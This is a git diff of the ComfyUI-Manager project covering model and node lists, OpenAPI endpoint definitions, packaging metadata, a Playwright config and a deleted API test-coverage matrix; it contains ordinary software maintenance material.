"url": "https://huggingface.co/XLabs-AI/flux-controlnet-collections/resolve/main/flux-canny-controlnet-v3.safetensors",
|
||||
"size": "1.49GB"
|
||||
},
|
||||
{
|
||||
"name": "XLabs-AI/flux-depth-controlnet-v3.safetensors",
|
||||
"type": "controlnet",
|
||||
"base": "FLUX.1",
|
||||
"save_path": "xlabs/controlnets",
|
||||
"description": "ControlNet checkpoints for FLUX.1-dev model by Black Forest Labs.",
|
||||
"reference": "https://huggingface.co/XLabs-AI/flux-controlnet-collections",
|
||||
"filename": "flux-depth-controlnet-v3.safetensors",
|
||||
"url": "https://huggingface.co/XLabs-AI/flux-controlnet-collections/resolve/main/flux-depth-controlnet-v3.safetensors",
|
||||
"size": "1.49GB"
|
||||
},
|
||||
{
|
||||
"name": "XLabs-AI/flux-hed-controlnet-v3.safetensors",
|
||||
"type": "controlnet",
|
||||
"base": "FLUX.1",
|
||||
"save_path": "xlabs/controlnets",
|
||||
"description": "ControlNet checkpoints for FLUX.1-dev model by Black Forest Labs.",
|
||||
"reference": "https://huggingface.co/XLabs-AI/flux-controlnet-collections",
|
||||
"filename": "flux-hed-controlnet-v3.safetensors",
|
||||
"url": "https://huggingface.co/XLabs-AI/flux-controlnet-collections/resolve/main/flux-hed-controlnet-v3.safetensors",
|
||||
"size": "1.49GB"
|
||||
}
|
||||
]
|
||||
}
|
||||
|
||||
@@ -10,16 +10,6 @@
|
||||
"install_type": "git-clone",
|
||||
"description": "A minimal template for creating React/TypeScript frontend extensions for ComfyUI, with complete boilerplate setup including internationalization and unit testing."
|
||||
},
|
||||
{
|
||||
"author": "comfyui-wiki",
|
||||
"title": "ComfyUI-i18n-demo",
|
||||
"reference": "https://github.com/comfyui-wiki/ComfyUI-i18n-demo",
|
||||
"files": [
|
||||
"https://github.com/comfyui-wiki/ComfyUI-i18n-demo"
|
||||
],
|
||||
"install_type": "git-clone",
|
||||
"description": "ComfyUI custom node develop i18n support demo "
|
||||
},
|
||||
{
|
||||
"author": "Suzie1",
|
||||
"title": "Guide To Making Custom Nodes in ComfyUI",
|
||||
@@ -351,26 +341,6 @@
|
||||
],
|
||||
"install_type": "git-clone",
|
||||
"description": "A minimal test suite demonstrating how remote COMBO inputs behave in ComfyUI, with and without force_input"
|
||||
},
|
||||
{
|
||||
"author": "J1mB091",
|
||||
"title": "ComfyUI-J1mB091 Custom Nodes",
|
||||
"reference": "https://github.com/J1mB091/ComfyUI-J1mB091",
|
||||
"files": [
|
||||
"https://github.com/J1mB091/ComfyUI-J1mB091"
|
||||
],
|
||||
"install_type": "git-clone",
|
||||
"description": "Vibe Coded ComfyUI Custom Nodes"
|
||||
},
|
||||
{
|
||||
"author": "aiforhumans",
|
||||
"title": "XDev Nodes - Complete Toolkit",
|
||||
"reference": "https://github.com/aiforhumans/comfyui-xdev-nodes",
|
||||
"files": [
|
||||
"https://github.com/aiforhumans/comfyui-xdev-nodes"
|
||||
],
|
||||
"install_type": "git-clone",
|
||||
"description": "Complete ComfyUI development toolkit with 8 professional nodes including VAE tools, universal type testing, and comprehensive debugging infrastructure."
|
||||
}
|
||||
]
|
||||
}
|
||||
+74
-120
@@ -42,13 +42,13 @@ components:
|
||||
oneOf:
|
||||
- $ref: '#/components/schemas/InstallPackParams'
|
||||
- $ref: '#/components/schemas/UpdatePackParams'
|
||||
- $ref: '#/components/schemas/UpdateAllPacksParams'
|
||||
- $ref: '#/components/schemas/UpdateComfyUIParams'
|
||||
- $ref: '#/components/schemas/FixPackParams'
|
||||
- $ref: '#/components/schemas/UninstallPackParams'
|
||||
- $ref: '#/components/schemas/DisablePackParams'
|
||||
- $ref: '#/components/schemas/EnablePackParams'
|
||||
- $ref: '#/components/schemas/ModelMetadata'
|
||||
- $ref: '#/components/schemas/UpdateComfyUIParams'
|
||||
- $ref: '#/components/schemas/UpdateAllPacksParams'
|
||||
required: [ui_id, client_id, kind, params]
|
||||
TaskHistoryItem:
|
||||
type: object
|
||||
@@ -78,19 +78,6 @@ components:
|
||||
type: [string, 'null']
|
||||
format: date-time
|
||||
description: ISO timestamp when task execution ended
|
||||
params:
|
||||
description: Original task parameters (mirrors QueueTaskItem.params); null if unavailable
|
||||
oneOf:
|
||||
- $ref: '#/components/schemas/InstallPackParams'
|
||||
- $ref: '#/components/schemas/UpdatePackParams'
|
||||
- $ref: '#/components/schemas/UpdateAllPacksParams'
|
||||
- $ref: '#/components/schemas/UpdateComfyUIParams'
|
||||
- $ref: '#/components/schemas/FixPackParams'
|
||||
- $ref: '#/components/schemas/UninstallPackParams'
|
||||
- $ref: '#/components/schemas/DisablePackParams'
|
||||
- $ref: '#/components/schemas/EnablePackParams'
|
||||
- $ref: '#/components/schemas/ModelMetadata'
|
||||
- type: 'null'
|
||||
required: [ui_id, client_id, kind, timestamp, result]
|
||||
TaskExecutionStatus:
|
||||
type: object
|
||||
@@ -219,7 +206,10 @@ components:
|
||||
description: The version of the pack that is installed (Git commit hash or semantic version)
|
||||
cnr_id:
|
||||
type: [string, 'null']
|
||||
description: The name of the pack if installed from the registry
|
||||
description: The name of the pack if installed from the registry (normalized lowercase)
|
||||
original_name:
|
||||
type: [string, 'null']
|
||||
description: The original case-preserved name of the pack from the registry
|
||||
aux_id:
|
||||
type: [string, 'null']
|
||||
description: The name of the pack if installed from github (author/repo-name format)
|
||||
@@ -251,6 +241,10 @@ components:
|
||||
type: string
|
||||
enum: [strong, normal, normal-, weak]
|
||||
description: Security level configuration (from most to least restrictive)
|
||||
NetworkMode:
|
||||
type: string
|
||||
enum: [public, private, offline]
|
||||
description: Network mode configuration
|
||||
RiskLevel:
|
||||
type: string
|
||||
enum: [block, high+, high, middle+, middle]
|
||||
@@ -329,7 +323,7 @@ components:
|
||||
skip_post_install:
|
||||
type: boolean
|
||||
description: Whether to skip post-installation steps
|
||||
required: [selected_version, mode, channel]
|
||||
required: [selected_version]
|
||||
UpdateAllPacksParams:
|
||||
type: object
|
||||
properties:
|
||||
@@ -425,12 +419,12 @@ components:
|
||||
default: true
|
||||
description: Whether to update to stable version (true) or nightly (false)
|
||||
required: [client_id, ui_id]
|
||||
ComfyUISwitchVersionParams:
|
||||
ComfyUISwitchVersionQueryParams:
|
||||
type: object
|
||||
properties:
|
||||
ver:
|
||||
type: string
|
||||
description: Target ComfyUI version tag
|
||||
description: Version to switch to
|
||||
client_id:
|
||||
type: string
|
||||
description: Client identifier that initiated the request
|
||||
@@ -724,8 +718,7 @@ components:
|
||||
security_level:
|
||||
$ref: '#/components/schemas/SecurityLevel'
|
||||
network_mode:
|
||||
type: [string, 'null']
|
||||
description: Network mode (online, offline, private)
|
||||
$ref: '#/components/schemas/NetworkMode'
|
||||
cli_args:
|
||||
type: object
|
||||
additionalProperties: true
|
||||
@@ -1055,9 +1048,9 @@ paths:
|
||||
'400':
|
||||
description: Error retrieving history list
|
||||
/v2/manager/queue/start:
|
||||
post:
|
||||
get:
|
||||
summary: Start queue processing
|
||||
description: Starts processing the operation queue.
|
||||
description: Starts processing the operation queue
|
||||
responses:
|
||||
'200':
|
||||
description: Processing started
|
||||
@@ -1090,16 +1083,16 @@ paths:
|
||||
description: Internal Server Error.
|
||||
|
||||
/v2/manager/queue/reset:
|
||||
post:
|
||||
get:
|
||||
summary: Reset queue
|
||||
description: Resets the operation queue.
|
||||
description: Resets the operation queue
|
||||
responses:
|
||||
'200':
|
||||
description: Queue reset successfully
|
||||
/v2/manager/queue/update_all:
|
||||
post:
|
||||
get:
|
||||
summary: Update all custom nodes
|
||||
description: Queues update operations for all installed custom nodes. Parameters are read from the query string.
|
||||
description: Queues update operations for all installed custom nodes
|
||||
security:
|
||||
- securityLevel: []
|
||||
parameters:
|
||||
@@ -1116,9 +1109,9 @@ paths:
|
||||
'403':
|
||||
description: Security policy violation
|
||||
/v2/manager/queue/update_comfyui:
|
||||
post:
|
||||
get:
|
||||
summary: Update ComfyUI
|
||||
description: Queues an update operation for ComfyUI itself. Parameters are read from the query string.
|
||||
description: Queues an update operation for ComfyUI itself
|
||||
parameters:
|
||||
- $ref: '#/components/parameters/clientIdRequiredParam'
|
||||
- $ref: '#/components/parameters/uiIdRequiredParam'
|
||||
@@ -1230,9 +1223,9 @@ paths:
|
||||
items:
|
||||
$ref: '#/components/schemas/SnapshotItem'
|
||||
/v2/snapshot/remove:
|
||||
post:
|
||||
get:
|
||||
summary: Remove snapshot
|
||||
description: Removes a specified snapshot. The `target` parameter is read from the query string.
|
||||
description: Removes a specified snapshot
|
||||
security:
|
||||
- securityLevel: []
|
||||
parameters:
|
||||
@@ -1245,9 +1238,9 @@ paths:
|
||||
'403':
|
||||
description: Security policy violation
|
||||
/v2/snapshot/restore:
|
||||
post:
|
||||
get:
|
||||
summary: Restore snapshot
|
||||
description: Restores a specified snapshot. The `target` parameter is read from the query string.
|
||||
description: Restores a specified snapshot
|
||||
security:
|
||||
- securityLevel: []
|
||||
parameters:
|
||||
@@ -1273,9 +1266,9 @@ paths:
|
||||
'400':
|
||||
description: Error creating snapshot
|
||||
/v2/snapshot/save:
|
||||
post:
|
||||
get:
|
||||
summary: Save snapshot
|
||||
description: Saves the current system state as a new snapshot.
|
||||
description: Saves the current system state as a new snapshot
|
||||
responses:
|
||||
'200':
|
||||
description: Snapshot saved successfully
|
||||
@@ -1303,96 +1296,76 @@ paths:
|
||||
'400':
|
||||
description: Error retrieving versions
|
||||
/v2/comfyui_manager/comfyui_switch_version:
|
||||
post:
|
||||
get:
|
||||
summary: Switch ComfyUI version
|
||||
description: Switches to a specified ComfyUI version. Gated at `high+` security level; returns 403 under the default `normal` profile. Parameters are read from a JSON request body (migrated from query string in v4.2 — see CHANGELOG Migration notes).
|
||||
security:
|
||||
- securityLevel: []
|
||||
requestBody:
|
||||
required: true
|
||||
content:
|
||||
application/json:
|
||||
schema:
|
||||
$ref: '#/components/schemas/ComfyUISwitchVersionParams'
|
||||
description: Switches to a specified ComfyUI version
|
||||
parameters:
|
||||
- name: ver
|
||||
in: query
|
||||
required: true
|
||||
description: Target version
|
||||
schema:
|
||||
type: string
|
||||
- $ref: '#/components/parameters/clientIdRequiredParam'
|
||||
- $ref: '#/components/parameters/uiIdRequiredParam'
|
||||
responses:
|
||||
'200':
|
||||
description: Version switch queued successfully
|
||||
'400':
|
||||
description: Invalid JSON body, missing required fields, or error switching version
|
||||
'403':
|
||||
description: Security level below `high+` — request rejected
|
||||
description: Missing required parameters or error switching version
|
||||
# Configuration Endpoints (v2)
|
||||
/v2/manager/db_mode:
|
||||
get:
|
||||
summary: Get database mode
|
||||
description: Returns the current database mode.
|
||||
summary: Get or set database mode
|
||||
description: Gets or sets the database mode
|
||||
parameters:
|
||||
- name: value
|
||||
in: query
|
||||
required: false
|
||||
description: New database mode
|
||||
schema:
|
||||
type: string
|
||||
enum: [channel, local, remote]
|
||||
responses:
|
||||
'200':
|
||||
description: Current value returned
|
||||
description: Setting updated or current value returned
|
||||
content:
|
||||
text/plain:
|
||||
schema:
|
||||
type: string
|
||||
enum: [channel, local, remote]
|
||||
post:
|
||||
summary: Set database mode
|
||||
description: Sets the database mode. Payload is a JSON object with a `value` field.
|
||||
requestBody:
|
||||
required: true
|
||||
content:
|
||||
application/json:
|
||||
schema:
|
||||
type: object
|
||||
required: [value]
|
||||
properties:
|
||||
value:
|
||||
type: string
|
||||
enum: [channel, local, remote]
|
||||
description: New database mode
|
||||
responses:
|
||||
'200':
|
||||
description: Setting updated
|
||||
'400':
|
||||
description: Invalid request (malformed JSON, missing `value`, or value not in allowed enum)
|
||||
/v2/manager/policy/update:
|
||||
get:
|
||||
summary: Get update policy
|
||||
description: Returns the current update policy.
|
||||
summary: Get or set update policy
|
||||
description: Gets or sets the update policy
|
||||
parameters:
|
||||
- name: value
|
||||
in: query
|
||||
required: false
|
||||
description: New update policy
|
||||
schema:
|
||||
type: string
|
||||
enum: [stable, nightly, nightly-comfyui]
|
||||
responses:
|
||||
'200':
|
||||
description: Current value returned
|
||||
description: Setting updated or current value returned
|
||||
content:
|
||||
text/plain:
|
||||
schema:
|
||||
type: string
|
||||
enum: [stable, nightly, nightly-comfyui]
|
||||
post:
|
||||
summary: Set update policy
|
||||
description: Sets the update policy. Payload is a JSON object with a `value` field.
|
||||
requestBody:
|
||||
required: true
|
||||
content:
|
||||
application/json:
|
||||
schema:
|
||||
type: object
|
||||
required: [value]
|
||||
properties:
|
||||
value:
|
||||
type: string
|
||||
enum: [stable, nightly, nightly-comfyui]
|
||||
description: New update policy
|
||||
responses:
|
||||
'200':
|
||||
description: Setting updated
|
||||
'400':
|
||||
description: Invalid request (malformed JSON, missing `value`, or value not in allowed enum)
|
||||
/v2/manager/channel_url_list:
|
||||
get:
|
||||
summary: Get channel URL list
|
||||
description: Returns the selected channel and the full channel list for custom node sources.
|
||||
summary: Get or set channel URL
|
||||
description: Gets or sets the channel URL for custom node sources
|
||||
parameters:
|
||||
- name: value
|
||||
in: query
|
||||
required: false
|
||||
description: New channel name
|
||||
schema:
|
||||
type: string
|
||||
responses:
|
||||
'200':
|
||||
description: Selected channel and channel list returned
|
||||
description: Setting updated or channel list returned
|
||||
content:
|
||||
application/json:
|
||||
schema:
|
||||
@@ -1409,29 +1382,10 @@ paths:
|
||||
type: string
|
||||
url:
|
||||
type: string
|
||||
post:
|
||||
summary: Set channel URL
|
||||
description: Sets the channel URL for custom node sources by channel name. Payload is a JSON object with a `value` field containing the channel name.
|
||||
requestBody:
|
||||
required: true
|
||||
content:
|
||||
application/json:
|
||||
schema:
|
||||
type: object
|
||||
required: [value]
|
||||
properties:
|
||||
value:
|
||||
type: string
|
||||
description: Channel name (must be present in the channel list returned by GET)
|
||||
responses:
|
||||
'200':
|
||||
description: Channel updated
|
||||
'400':
|
||||
description: Invalid request — malformed JSON, missing `value`, or unknown channel name
|
||||
/v2/manager/reboot:
|
||||
post:
|
||||
get:
|
||||
summary: Reboot ComfyUI
|
||||
description: Restarts the ComfyUI server.
|
||||
description: Restarts the ComfyUI server
|
||||
security:
|
||||
- securityLevel: []
|
||||
responses:
|
||||
|
||||
@@ -1,20 +0,0 @@
|
||||
import { defineConfig } from '@playwright/test';
|
||||
|
||||
export default defineConfig({
|
||||
testDir: './tests/playwright',
|
||||
testMatch: '**/*.{spec,test}.ts',
|
||||
timeout: 60_000,
|
||||
retries: 0,
|
||||
use: {
|
||||
baseURL: `http://127.0.0.1:${process.env.PORT || 8199}`,
|
||||
headless: true,
|
||||
screenshot: 'only-on-failure',
|
||||
trace: 'retain-on-failure',
|
||||
},
|
||||
projects: [
|
||||
{
|
||||
name: 'chromium',
|
||||
use: { browserName: 'chromium' },
|
||||
},
|
||||
],
|
||||
});
|
||||
+10
-7
@@ -5,7 +5,7 @@ build-backend = "setuptools.build_meta"
|
||||
[project]
|
||||
name = "comfyui-manager"
|
||||
license = { text = "GPL-3.0-only" }
|
||||
version = "4.3"
|
||||
version = "5.0b1"
|
||||
requires-python = ">= 3.9"
|
||||
description = "ComfyUI-Manager provides features to install and manage custom nodes for ComfyUI, as well as various functionalities to assist with ComfyUI."
|
||||
readme = "README.md"
|
||||
@@ -35,23 +35,21 @@ dependencies = [
|
||||
"typing-extensions",
|
||||
"toml",
|
||||
"uv",
|
||||
"chardet",
|
||||
"packaging",
|
||||
"nh3>=0.3.7"
|
||||
"chardet"
|
||||
]
|
||||
|
||||
[project.optional-dependencies]
|
||||
dev = ["pre-commit", "pytest", "ruff", "pytest-cov", "pygit2>=1.18"]
|
||||
dev = ["pre-commit", "pytest", "ruff", "pytest-cov"]
|
||||
|
||||
[project.urls]
|
||||
Repository = "https://github.com/ltdrdata/ComfyUI-Manager"
|
||||
|
||||
[tool.setuptools.packages.find]
|
||||
where = ["."]
|
||||
include = ["comfyui_manager*", "cm_cli*"]
|
||||
include = ["comfyui_manager*"]
|
||||
|
||||
[project.scripts]
|
||||
cm-cli = "cm_cli:main"
|
||||
cm-cli = "comfyui_manager.cm_cli.__main__:main"
|
||||
|
||||
[tool.ruff]
|
||||
line-length = 120
|
||||
@@ -65,3 +63,8 @@ select = [
|
||||
"F", # default
|
||||
"I", # isort-like behavior (import statement sorting)
|
||||
]
|
||||
|
||||
[tool.pytest.ini_options]
|
||||
markers = [
|
||||
"integration: marks tests as integration tests (deselect with '-m \"not integration\"')",
|
||||
]
|
||||
|
||||
@@ -1,355 +0,0 @@
|
||||
# API Coverage Matrix — pytest E2E + Playwright
|
||||
|
||||
**Date**: 2026-04-20
|
||||
**Worklist**: `wl-afbf982ffe41`
|
||||
**Checklist**: `cl-20260420-wl-afbf982ff`
|
||||
**Scope**: 39 unique (method, path) endpoints across glob and legacy managers.
|
||||
**Sources**: 4 member checklist YAMLs (gteam-teng 10 · gteam-reviewer 10 · gteam-dev 10 · gteam-dbg 9).
|
||||
|
||||
---
|
||||
|
||||
## 1. Coverage Summary
|
||||
|
||||
| Axis | Y | I | N | P | NA | Total |
|
||||
|---|---:|---:|---:|---:|---:|---:|
|
||||
| **pytest E2E** | 38 | 1 | 0 | — | — | 39 |
|
||||
| **Playwright** | 17 | — | 1 | 14 | 7 | 39 |
|
||||
|
||||
### Code legend
|
||||
|
||||
| Code | pytest meaning | Playwright meaning |
|
||||
|------|----------------|--------------------|
|
||||
| **Y** | Direct positive-path test exists | UI trigger exists AND a spec exercises it |
|
||||
| **I** | Indirect only (e.g. CSRF-reject test, no positive assertion) | — |
|
||||
| **N** | No coverage | Endpoint has no UI surface AND no spec covers it (1 case, wi-009 internal-only) |
|
||||
| **P** | — | UI trigger exists but NO spec exercises it (PENDING Playwright) |
|
||||
| **NA** | — | Endpoint has no UI surface at all (backend/CLI/gating only) |
|
||||
|
||||
### Effective pytest ceiling
|
||||
|
||||
Y (direct) + I (indirect) = **39 / 39 = 100%** — post-WI-UU every endpoint
|
||||
has automated pytest coverage. The 6 legacy-only GET endpoints
|
||||
(wi-031/032/033/034/035/036) that were `N` at matrix creation have been
|
||||
closed as `Y (WI-TT)` via direct positive-path tests in
|
||||
`tests/e2e/test_e2e_legacy_endpoints.py` (§22 of
|
||||
`e2e_verification_audit.md`). wi-039 (POST /v2/manager/queue/batch) was
|
||||
closed as `Y (WI-UU)` via `TestLegacyQueueBatch` in the same file — empty
|
||||
`{}` payload exercises request-parse → action loop → finalize →
|
||||
worker-lock release → JSON serialize. Only 1 I-rated row remains: wi-027
|
||||
POST /v2/snapshot/restore, which stays I by intentional design (the
|
||||
endpoint is destructive and is covered only behind a skip-by-default
|
||||
marker; upgrading it to Y would require a reversible snapshot fixture).
|
||||
|
||||
Count progression: matrix-creation baseline Y=29/I=4/N=6 → post-WI-YY
|
||||
Y=31/I=2/N=6 → post-WI-TT Y=37/I=2/N=0 → **post-WI-UU Y=38/I=1/N=0**.
|
||||
|
||||
### Playwright P = systemic gap
|
||||
|
||||
10 / 39 = **26%** of endpoints have a UI trigger that Playwright never
|
||||
exercises. Originally 18/39 = 46%; WI-VV closed 4 LOW-risk P items
|
||||
(wi-001 / wi-005 / wi-017 / wi-021) via real UI-click tests; WI-WW closed
|
||||
5 MED items via mock-based UI→API wiring tests; WI-WW.2 closed wi-015 via
|
||||
a 2-hop mock. **WI-YY** then replaced 2 of the WI-WW mocks (wi-020, wi-024)
|
||||
with real pytest E2E execution — the mocks were removed and the Playwright
|
||||
column reverted to P (UI-click path unexercised — pytest covers the
|
||||
backend contract). The remaining 10 P items are: wi-014/037/038
|
||||
(retained as WI-WW mocks — real execution requires `high+` security gate
|
||||
that fails at default `security_level=normal`, needs a permissive
|
||||
harness — scope for WI-YY.2), plus 7 other source-checklist-classified
|
||||
P items outside the WI-VV/WW/WW.2/YY scope.
|
||||
|
||||
**Honesty note on mock-based closures**: rows marked `Y (WI-WW-mock)`
|
||||
assert UI→API wiring only — request URL + method + payload shape.
|
||||
They do NOT assert backend handler behavior, which pytest covers via
|
||||
positive-path tests. A regression that kept the UI firing correctly
|
||||
but broke the backend would not be caught by the mock tests alone.
|
||||
|
||||
---
|
||||
|
||||
## 2. Tier Distribution
|
||||
|
||||
39 endpoints split across three registration tiers:
|
||||
|
||||
| Tier | Count | Definition |
|
||||
|------|------:|------------|
|
||||
| Shared | 29 | Registered in BOTH `glob/manager_server.py` AND `legacy/manager_server.py` |
|
||||
| glob-only | 1 | Registered only in `glob/manager_server.py` |
|
||||
| legacy-only | 9 | Registered only in `legacy/manager_server.py` |
|
||||
|
||||
> **Note on dispatch**: the WI-SS-E dispatch text cited `Shared 28, glob-only 2,
|
||||
> legacy-only 9` but source-code verification (grep of `@routes.(get\|post)` in
|
||||
> both managers) yields 29/1/9. Only `POST /v2/manager/queue/task` is confirmed
|
||||
> glob-only by the audit (`reports/e2e_verification_audit.md:299`). This
|
||||
> matrix reports the verified counts.
|
||||
|
||||
### Tier × coverage crosstab
|
||||
|
||||
| Tier | pytest Y | pytest I | pytest N | PW Y | PW P | PW NA | PW N |
|
||||
|------|---------:|---------:|---------:|-----:|-----:|------:|-----:|
|
||||
| Shared (29) | 28 | 1 | 0 | 15 | 7 | 6 | 1 |
|
||||
| glob-only (1) | 1 | 0 | 0 | 0 | 0 | 1 | 0 |
|
||||
| legacy-only (9) | 9 | 0 | 0 | 2 | 7 | 0 | 0 |
|
||||
| **Total** | **38** | **1** | **0** | **17** | **14** | **7** | **1** |
|
||||
|
||||
**Observations** (post-WI-UU):
|
||||
- Legacy-only (9) pytest coverage is now **fully direct**: 9 Y + 0 I +
|
||||
0 N. WI-TT closed 6 N → Y (wi-031/032/033/034/035/036). WI-YY-real
|
||||
closed 2 I → Y (wi-037/038 via the permissive harness). WI-UU closed
|
||||
the final I → Y (wi-039 via `TestLegacyQueueBatch`). The remaining
|
||||
weakness for this tier is Playwright — 7/9 are Playwright-P.
|
||||
- Shared (29) holds the sole remaining pytest-I (wi-027 snapshot/restore,
|
||||
intentional skip-by-default design). 0 pytest-N, balanced Y/P on
|
||||
Playwright.
|
||||
- glob-only has only 1 endpoint (queue/task) and it is Playwright-NA by
|
||||
design — the legacy UI uses `queue/batch` (wi-039) instead.
|
||||
|
||||
---
|
||||
|
||||
## 3. Full Matrix (39 rows, sorted by wi-id)
|
||||
|
||||
| wi | METHOD path | tier | pytest | Playwright | gap |
|
||||
|---|---|---|---|---|---|
|
||||
| wi-001 | GET /v2/comfyui_manager/comfyui_versions | shared | Y | Y (WI-VV) | 🟢 closed — legacy-ui-manager-menu.spec.ts asserts Switch ComfyUI click → GET returns non-empty versions list |
|
||||
| wi-002 | GET /v2/customnode/fetch_updates | shared | Y | NA | 🟢 none (deprecated 410, no JS trigger) |
|
||||
| wi-003 | GET /v2/customnode/getmappings | shared | Y | Y | 🟢 none (dual coverage) |
|
||||
| wi-004 | GET /v2/customnode/installed | shared | Y | Y | 🟢 none (dual coverage) |
|
||||
| wi-005 | GET /v2/manager/channel_url_list | shared | Y | Y (WI-VV) | 🟢 closed — legacy-ui-manager-menu.spec.ts polls channel combo for populated options via stable selector `select[title^="Configure the channel"]` |
|
||||
| wi-006 | GET /v2/manager/db_mode | shared | Y | Y | 🟢 none (dual coverage) |
|
||||
| wi-007 | GET /v2/manager/is_legacy_manager_ui | shared | Y | NA | 🟢 none (server-side gating flag) |
|
||||
| wi-008 | GET /v2/manager/policy/update | shared | Y | P | 🟢 LOW — add Playwright assertion (pytest fully covers contract) |
|
||||
| wi-009 | GET /v2/manager/queue/history | shared | Y | N | 🟢 none (no UI surface, internal API only) |
|
||||
| wi-010 | GET /v2/manager/queue/history_list | shared | Y | NA | 🟢 none (backend-only, not surfaced in UI) |
|
||||
| wi-011 | GET /v2/manager/queue/status | shared | Y | Y | 🟢 none (dual coverage) |
|
||||
| wi-012 | GET /v2/manager/version | shared | Y | P | 🟢 LOW — add version-string assertion to bootstrap spec |
|
||||
| wi-013 | GET /v2/snapshot/get_current | shared | Y | P | 🟢 none — 3rd-party share extensions only, out-of-scope for legacy-ui |
|
||||
| wi-014 | POST /v2/comfyui_manager/comfyui_switch_version | shared | Y (WI-YY-real) | P | 🟢 pytest closed — test_e2e_legacy_real_ops.py::TestSwitchComfyuiSelfSwitch executes real POST via permissive-harness (security_level=normal-) with a no-op self-switch (ver=<current>). Playwright mock REMOVED. |
|
||||
| wi-015 | POST /v2/customnode/import_fail_info | shared | Y (WI-YY-real) | P | 🟢 pytest closed — test_e2e_legacy_real_ops.py::TestImportFailInfoReal pre-seeds `ComfyUI-YoloWorld-EfficientSAM` via git clone (no pip install), scan captures ImportError in cm_global.error_dict, warmup via `/v2/customnode/import_fail_info_bulk` populates active_nodes, then POST single-endpoint with cnr_id=directory-basename returns the captured `{name, path, msg}` payload. Playwright mock REMOVED (spec file deleted). |
|
||||
| wi-016 | POST /v2/customnode/import_fail_info_bulk | shared | Y | NA | 🟢 none (server-internal/CLI-only) |
|
||||
| wi-017 | POST /v2/manager/channel_url_list | shared | Y | Y (WI-VV) | 🟢 closed — legacy-ui-manager-menu.spec.ts selects alternate option, intercepts POST → 200, restores original in finally |
|
||||
| wi-018 | POST /v2/manager/db_mode | shared | Y | Y | 🟢 none (dual coverage via UI close-reopen round-trip) |
|
||||
| wi-019 | POST /v2/manager/policy/update | shared | Y | Y | 🟢 none (dual coverage) |
|
||||
| wi-020 | POST /v2/manager/queue/install_model | shared | Y (WI-YY-real) | P | 🟢 pytest closed — test_e2e_legacy_real_ops.py::TestInstallModelRealDownload downloads the real TAEF1 Decoder (~4.7MB from github.com/madebyollin/taesd raw), polls for disk artifact, asserts size > 1MB, teardown deletes file. Playwright mock REMOVED in WI-YY; UI-click path still unexercised (P) — scope for WI-YY.2 if needed. |
|
||||
| wi-021 | POST /v2/manager/queue/reset | shared | Y | Y (WI-VV) | 🟢 closed — legacy-ui-manager-menu.spec.ts exercises endpoint via `page.request.post` (UI-click path unsafe at idle: restart_stop_button at idle triggers rebootAPI, not queue/reset; `.cn-manager-stop` / `.model-manager-stop` are display:none). Asserts 200 + queue/status still callable post-reset. |
|
||||
| wi-022 | POST /v2/manager/queue/start | shared | Y | NA | 🟢 none (server/test-only) |
|
||||
| wi-023 | POST /v2/manager/queue/update_all | shared | Y | NA | 🟢 LOW — UI uses queue/batch not this endpoint (possibly CLI-only; confirm intent) |
|
||||
| wi-024 | POST /v2/manager/queue/update_comfyui | shared | Y (WI-YY-real) | P | 🟢 pytest closed — test_e2e_legacy_real_ops.py::TestUpdateComfyuiQueued asserts direct endpoint returns 200 at default security_level (no gate — legacy/manager_server.py:1572-1576). Handler just queues an "update-comfyui" entry; triggering git pull would require a subsequent /queue/batch call (explicitly avoided to preserve test-env git state). COMFYUI_MANAGER_SKIP_MANAGER_REQUIREMENTS=1 safety belt exported at server startup covers pip install runaway risk. Playwright mock REMOVED in WI-YY. |
|
||||
| wi-025 | POST /v2/manager/reboot | shared | Y | P | 🟢 none — visibility checked; click omitted for safety (would kill test server) |
|
||||
| wi-026 | POST /v2/snapshot/remove | shared | Y | Y | 🟢 none (dual coverage) |
|
||||
| wi-027 | POST /v2/snapshot/restore | shared | I | P | 🟡 add pytest coverage behind skip-by-default (reversible via saved snapshot); Playwright restore also missing |
|
||||
| wi-028 | POST /v2/snapshot/save | shared | Y | Y | 🟢 none (strong dual coverage) |
|
||||
| wi-029 | GET /v2/snapshot/getlist | shared | Y | Y | 🟢 none (dual coverage) |
|
||||
| wi-030 | POST /v2/manager/queue/task | glob-only | Y | NA | 🟢 LOW — glob-UI Playwright harness needed to cover queue/task from UI tier |
|
||||
| wi-031 | GET /customnode/alternatives | legacy-only | Y (WI-TT) | P | 🟢 closed — test_e2e_legacy_endpoints.py (§22 of e2e_verification_audit) asserts positive-path GET with `mode=local` |
|
||||
| wi-032 | GET /v2/customnode/disabled_versions/{node_name} | legacy-only | Y (WI-TT) | P | 🟢 closed — test_e2e_legacy_endpoints.py (§22) asserts disabled-version list schema |
|
||||
| wi-033 | GET /v2/customnode/getlist | legacy-only | Y (WI-TT) | Y | 🟢 closed — test_e2e_legacy_endpoints.py (§22) asserts schema (`channel`/`node_packs`) + mode param variants |
|
||||
| wi-034 | GET /v2/customnode/versions/{node_name} | legacy-only | Y (WI-TT) | Y | 🟢 closed — test_e2e_legacy_endpoints.py (§22) asserts schema + 404 |
|
||||
| wi-035 | GET /v2/externalmodel/getlist | legacy-only | Y (WI-TT) | Y | 🟢 closed — test_e2e_legacy_endpoints.py (§22) asserts `?mode=local` schema + non-empty list |
|
||||
| wi-036 | GET /v2/manager/notice | legacy-only | Y (WI-TT) | P | 🟢 closed — test_e2e_legacy_endpoints.py (§22) asserts notice payload (200 + dict) |
|
||||
| wi-037 | POST /v2/customnode/install/git_url | legacy-only | Y (WI-YY-real) | P | 🟢 pytest closed — test_e2e_legacy_real_ops.py::TestInstallViaGitUrlRealClone executes real POST via permissive-harness cloning `nodepack-test1-do-not-install` (same test-fixture repo used by tests/cli/test_uv_compile.py); verifies custom_nodes/<dir>/.git exists; teardown rm -rf. Playwright mock REMOVED. |
|
||||
| wi-038 | POST /v2/customnode/install/pip | legacy-only | Y (WI-YY-real) | P | 🟢 pytest closed — test_e2e_legacy_real_ops.py::TestInstallPipRealExecute executes real POST via permissive-harness with trusted `text-unidecode` pkg; asserts install-scripts.txt lazy reservation (handler uses `#FORCE` prefix at manager_core.py:2370 → reserve_script schedules pip install for next startup, not synchronous). Playwright mock REMOVED. |
|
||||
| wi-039 | POST /v2/manager/queue/batch | legacy-only | Y (WI-UU) | Y | 🟢 closed via TestLegacyQueueBatch empty-`{}` payload positive-path (exercises request-parse → action loop → finalize → worker-lock release → JSON serialize pipeline); response shape `{failed: [...]}` status 200; landed in `tests/e2e/test_e2e_legacy_endpoints.py` (§22 of e2e_verification_audit) |
|
||||
|
||||
---
|
||||
|
||||
## 4. Priority Gap List
|
||||
|
||||
